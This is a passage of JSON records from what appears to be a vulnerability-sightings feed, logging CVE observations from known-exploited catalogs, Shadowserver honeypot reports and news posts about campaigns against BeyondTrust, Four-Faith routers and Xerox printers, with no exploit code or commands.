"c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/437840e9-18a2-4b28-bf41-0fb29deb1c82", "content": "", "creation_timestamp": "2026-06-30T09:22:33.587588Z"}, {"uuid": "d5aea089-c58d-44c3-95e4-9daa46f8da51", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5f2c8209-9044-470a-9454-8553efdfa193", "content": "", "creation_timestamp": "2026-06-30T09:23:25.549175Z"}, {"uuid": "2d0acc01-c00e-4a33-a09c-4fae422b020b", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9e2fa1c3-6368-4a33-a7ba-13340e1548d4", "content": "", "creation_timestamp": "2026-06-30T09:42:40.066684Z"}, {"uuid": "2a7ea4b6-7bb0-4e39-a1bc-4da1b1f66f98", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12987", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/55c34843-28f7-4779-a77d-a9adcede513b", "content": "", "creation_timestamp": "2026-06-30T09:42:49.016062Z"}, {"uuid": "4eb375e1-7a6c-4b26-9126-9d20901e162b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-29)", "content": "", "creation_timestamp": "2026-06-30T10:00:03.788460Z"}, {"uuid": "a1c3cbb8-1d9e-459b-be52-ed8be240e973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-29)", "content": "", "creation_timestamp": "2026-06-30T10:15:05.588679Z"}, {"uuid": "22a93a00-c148-491e-aa95-ef55516107aa", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2024-12209", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5757d14e-556b-4263-bd50-84cc2929bc7f", "content": "", "creation_timestamp": "2026-06-30T11:54:41.680893Z"}, {"uuid": "11b23e62-7ae2-4d83-b060-ee24738e7166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-30)", "content": "", "creation_timestamp": "2026-07-01T10:00:02.733164Z"}, {"uuid": "07dd34e3-e0b5-4fe6-b5e0-eebb7042c66e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-30)", "content": "", "creation_timestamp": "2026-07-01T10:15:06.196396Z"}, {"uuid": "3d4d201c-df25-4df7-9a37-852ac67cd618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-14)", "content": "", "creation_timestamp": "2026-08-15T10:00:03.012020Z"}, {"uuid": "dfaca29f-2177-4638-800d-28281d803b68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://t.me/CyberDispatch/249", "content": "The addition of CVE-2018-4063 to the KEV catalog comes a day after a honeypot analysis conducted by Forescout over a 90-day period revealed that industrial routers are the most attacked devices in operational technology (OT) environments, with threat actors attempting to deliver botnet and cryptocurrency miner malware families like RondoDox, Redtail, and ShadowV2 by exploiting the following flaws -\n\n    CVE-2024-12856 (Four-Faith routers)\n    CVE-2024-0012, CVE-2024-9474, and CVE-2025-0108 (Palo Alto Networks PAN-OS)", "creation_timestamp": "2026-08-19T21:00:06.107052Z"}, {"uuid": "de0e16cf-6a5c-44fc-8a8c-f6d02f73f6e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-14)", "content": "", "creation_timestamp": "2026-08-15T10:00:11.259951Z"}, {"uuid": "5b5b14d7-3294-4ea1-9680-b08cd8c2cd94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-14)", "content": "", "creation_timestamp": "2026-08-15T10:15:04.001799Z"}, {"uuid": "5cc14c45-c71e-4434-ac9b-fb289cb08f11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-12)", "content": "", "creation_timestamp": "2026-08-13T10:00:05.096620Z"}, {"uuid": "9f9fa2fc-79d2-4b67-8a7f-c674c3f63cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-12)", "content": "", "creation_timestamp": "2026-08-13T10:15:07.219565Z"}, {"uuid": "fba3577c-cf8a-4c45-b835-212cdb9d2548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-01)", "content": "", "creation_timestamp": "2026-07-02T10:00:03.548295Z"}, {"uuid": "7d1554df-1eca-4364-b963-a7ff2e98e799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-01)", "content": "", "creation_timestamp": "2026-07-02T10:15:03.890679Z"}, {"uuid": "05891837-b359-4349-b625-af42a1ec9048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-10)", "content": "", "creation_timestamp": "2026-08-11T10:00:04.301410Z"}, {"uuid": "a7ba9690-0569-4c63-b4bc-6ea592edb791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-10)", "content": "", "creation_timestamp": "2026-08-11T10:00:07.503212Z"}, {"uuid": "534f3c91-faaa-451a-ad9d-1973f70c2db4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-02)", "content": "", "creation_timestamp": "2026-07-03T10:00:03.565943Z"}, {"uuid": "d5f28567-f298-4907-84ae-84c5d735f9b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-10)", "content": "", "creation_timestamp": "2026-08-11T10:15:06.288703Z"}, {"uuid": "d52d8413-b80b-4f0a-a524-4987bb90c4a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-02)", "content": "", "creation_timestamp": "2026-07-03T10:15:03.989525Z"}, {"uuid": "b5371466-7514-46b6-9187-7c40d5387437", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-03)", "content": "", "creation_timestamp": "2026-07-04T10:00:02.757410Z"}, {"uuid": "d6206dcd-0529-417b-bfb7-77baf7267fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-03)", "content": "", "creation_timestamp": "2026-07-04T10:15:04.511582Z"}, {"uuid": "5c936605-1823-45a7-847f-969d39ffcaa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpt3543kby2g", "content": "CVE-2024-12345: Is the AI Patch Gap a Structural Failure or a Predictable Inevitability? #CVE2024 #AIPatchGap #CyberSecurity", "creation_timestamp": "2026-07-04T12:35:20.346031Z"}, {"uuid": "70b91d4d-f7f7-48cb-a5cc-cfdf9249bb78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1248", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpucatwqst2o", "content": "CVE-2024-1248 - Role Overwriting via Silent JIT Provisioning in Multiple WSO2 Products Enables Privilege Escalation\nCVE ID : CVE-2024-1248\n \n Published : 4 juillet 2026 20:38 | 1\u00a0heure, 37\u00a0minutes ago\n \n Description : The silent Just-In-Time (JIT) provisioning feature in feder...", "creation_timestamp": "2026-07-05T00:15:20.813316Z"}, {"uuid": "58d4a831-45b6-45f6-b77f-08ad5d8d2b2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-04)", "content": "", "creation_timestamp": "2026-07-05T10:00:04.175626Z"}, {"uuid": "39e028a7-932f-4aac-8dba-f92a8470cc00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-04)", "content": "", "creation_timestamp": "2026-07-05T10:15:06.990482Z"}, {"uuid": "9b939ee1-f5be-415e-a757-f6220c97aee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-21)", "content": "", "creation_timestamp": "2026-08-22T10:00:03.638764Z"}, {"uuid": "2e4ca056-bf16-480b-bcef-1d586f6fc269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-21)", "content": "", "creation_timestamp": "2026-08-22T10:00:13.127784Z"}, {"uuid": "fcf456e3-a078-4e9b-8a07-6a7414ddcef0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://t.me/CyberDispatch/249", "content": "The addition of CVE-2018-4063 to the KEV catalog comes a day after a honeypot analysis conducted by Forescout over a 90-day period revealed that industrial routers are the most attacked devices in operational technology (OT) environments, with threat actors attempting to deliver botnet and cryptocurrency miner malware families like RondoDox, Redtail, and ShadowV2 by exploiting the following flaws -\n\n    CVE-2024-12856 (Four-Faith routers)\n    CVE-2024-0012, CVE-2024-9474, and CVE-2025-0108 (Palo Alto Networks PAN-OS)", "creation_timestamp": "2026-08-20T00:00:10.089763Z"}, {"uuid": "441874d1-56b2-4d7c-90ba-22bf53104ca3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-21)", "content": "", "creation_timestamp": "2026-08-22T10:15:03.696182Z"}, {"uuid": "12de4bab-4036-475b-88ba-11ffc55ef438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-05)", "content": "", "creation_timestamp": "2026-07-06T10:15:03.728109Z"}, {"uuid": "7a007cc8-4b88-41eb-ae79-8ccac9c5b1ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/ZerodayAlert/428", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u041c\u0438\u043d\u0444\u0438\u043d\u0430\n\n\ud83d\udea8 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Silk Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u0435 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-12356 \u0438 CVE-2024-12686) \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 BeyondTrust. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PostgreSQL (CVE-2025-1094), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83c\udfaf \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u041c\u0438\u043d\u0444\u0438\u043d\u0430: \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c (CFIUS) \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC). \u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0433\u043e\u0442\u043e\u0432\u044f\u0449\u0438\u0445\u0441\u044f \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u0445 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445.\n\n\u26a1\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 BeyondTrust \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0440\u0435\u0448\u0438 \u0432 PostgreSQL. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a.\n\n#\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #Postgres #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-08-07T00:32:29.074609Z"}, {"uuid": "9cd44b25-aaeb-4853-b88c-e5133ecb7223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/ZerodayAlert/428", "content": "\u0414\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u041c\u0438\u043d\u0444\u0438\u043d\u0430\n\n\ud83d\udea8 \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Silk Typhoon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u041c\u0438\u043d\u0444\u0438\u043d \u0421\u0428\u0410, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0432\u0435 zero-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2024-12356 \u0438 CVE-2024-12686) \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 BeyondTrust. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PostgreSQL (CVE-2025-1094), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c.\n\n\ud83c\udfaf \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u041c\u0438\u043d\u0444\u0438\u043d\u0430: \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c (CFIUS) \u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC). \u0425\u0430\u043a\u0435\u0440\u044b \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0433\u043e\u0442\u043e\u0432\u044f\u0449\u0438\u0445\u0441\u044f \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u0445 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445.\n\n\u26a1\ufe0f \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 BeyondTrust \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0440\u0435\u0448\u0438 \u0432 PostgreSQL. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0441\u0440\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a.\n\n#\u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #Postgres #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-08-07T00:32:29.121227Z"}, {"uuid": "672cef59-c12d-4b89-8432-64d4b61889af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/ZerodayAlert/430", "content": "\u0414\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439\n\n\ud83d\udda8 \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430\u0445 Xerox VersaLink C7025, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041e\u0431\u0435 \u0431\u0440\u0435\u0448\u0438 \u0434\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043d\u0430 \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0447\u0435\u0440\u0435\u0437 LDAP, SMB \u0438\u043b\u0438 FTP.\n\n\u26a1\ufe0f \u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2024-12510) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e 